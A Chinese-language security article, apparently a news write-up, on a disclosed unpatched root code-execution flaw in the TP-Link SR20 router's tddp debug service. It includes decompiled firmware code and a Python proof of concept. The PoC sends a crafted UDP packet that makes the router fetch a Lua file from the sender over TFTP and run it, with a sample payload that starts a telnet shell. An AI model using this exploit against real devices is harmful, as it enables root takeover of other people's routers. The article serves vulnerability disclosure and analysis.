概述
Google安全开发人员Matthew Garrett发现TP-Link SR20智能家庭路由器存在0 day任意代码执行漏洞,处于同一网络的攻击者可以利用漏洞以root权限执行任意命令。
Garrett称公开漏洞是由于自他将漏洞报告给TP-link已经90天了,而TP-link尚未修复给漏洞,且没有给出回应。
技术分析
TP-Link SR20路由器融合了Zigbee/ZWave hub和路由器的功能,提供一个触摸屏用于配置和控制。固件二进制文件参见。研究人员分析固件发现一个名为tddp的可执行文件。运行arm-linux-gnu-nm -D发现它会导入popen(),因为popen()会将参数直接传递给shell,所以如果可以将用户控制的输入传给popen()调用,也就可以实现攻击利用。 Tddp是TP-Link Device Debug Protocol(设备调试协议),运行在大多数的TP-Link设备上,但在不同的设备上却有不同的功能。最常见的就是协议,有趣的是该协议的v2版本是需要认证的,还需要知道路由器的admin密码,而v1版本是非认证的。
将tddp复制到Ghidra中进行分析后,研究人员发现了一个名为recvfrom()的函数,它会从网络socket中复制信息。它会查看packet中的第一个字节,并用来决定使用的是哪种协议,并根据协议的版本确定要将packet传递给哪个dispatcher。在v1版本中,dispatcher会查看packet的第二个字节,并根据其中的值调用不同的函数,0x31就是CMD_FTEST_CONFIG。 研究人员对该函数进行了反编译:
int ftest_config(char *byte) {
int lua_State;
char *remote_address;
int err;
int luaerr;
char filename[64]
char configFile[64];
char luaFile[64];
int attempts;
char *payload;
attempts = 4;
memset(luaFile,0,0x40);
memset(configFile,0,0x40);
memset(filename,0,0x40);
lua_State = luaL_newstart();
payload = iParm1 + 0xb027;
if (payload != 0x00) {
sscanf(payload,"%[^;];%s",luaFile,configFile);
if ((luaFile[0] == 0) || (configFile[0] == 0)) {
printf("[%s():%d] luaFile or configFile len error.\n","tddp_cmd_configSet",0x22b);
}
else {
remote_address = inet_ntoa(*(in_addr *)(iParm1 + 4));
tddp_execCmd("cd /tmp;tftp -gr %s %s &",luaFile,remote_address);
sprintf(filename,"/tmp/%s",luaFile);
while (0 < attempts) {
sleep(1);
err = access(filename,0);
if (err == 0) break;
attempts = attempts + -1;
}
if (attempts == 0) {
printf("[%s():%d] lua file [%s] don\'t exsit.\n","tddp_cmd_configSet",0x23e,filename);
}
else {
if (lua_State != 0) {
luaL_openlibs(lua_State);
luaerr = luaL_loadfile(lua_State,filename);
if (luaerr == 0) {
luaerr = lua_pcall(lua_State,0,0xffffffff,0);
}
lua_getfield(lua_State,0xffffd8ee,"config_test",luaerr);
lua_pushstring(lua_State,configFile);
lua_pushstring(lua_State,remote_address);
lua_call(lua_State,2,1);
}
lua_close(lua_State);
}
}
}
}可以看出该函数会将对含有两个用;隔开的字符串的payload的packet进行分析。第一个字符串是文件名,第二个是配置文件。然后调用tddp_execCmd("cd /tmp; tftp -gr %s %s &",luaFile,remote_address),它会在后台执行tftp命令。然后连接回发送该命令的机器,并尝试通过tftp协议下载与发送的文件名对应的文件。主tddp进程会回等待4秒钟的时间来等候文件出现,一旦出现就将文件加载到LUA翻译器中,然后用配置文件名和远程地址作为参数调用config_test()。因为config_test()是从远程机器下载的文件提供的,因此在翻译器中可以执行任意代码,包括在主机上运行命令的os.execute方法。因为tddp是以root权限运行的,所以攻击者也可以以root权限执行任意命令。
POC
PoC代码如下:
#!/usr/bin/python3
# Copyright 2019 Google LLC.
# SPDX-License-Identifier: Apache-2.0
# Create a file in your tftp directory with the following contents:
#
#function config_test(config)
# os.execute("telnetd -l /bin/login.sh")
#end
#
# Execute script as poc.py remoteaddr filename
import binascii
import socket
port_send = 1040
port_receive = 61000
tddp_ver = "01"
tddp_command = "31"
tddp_req = "01"
tddp_reply = "00"
tddp_padding = "%0.16X" % 00
tddp_packet = "".join([tddp_ver, tddp_command, tddp_req, tddp_reply, tddp_padding])
sock_receive = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_receive.bind(('', port_receive))
# Send a request
sock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
packet = binascii.unhexlify(tddp_packet)
argument = "%s;arbitrary" % sys.argv[2]
packet = packet + argument.encode()
sock_send.sendto(packet, (sys.argv[1], port_send))
sock_send.close()
response, addr = sock_receive.recvfrom(1024)
r = response.encode('hex')
print(r) - 4HOU.COM











评论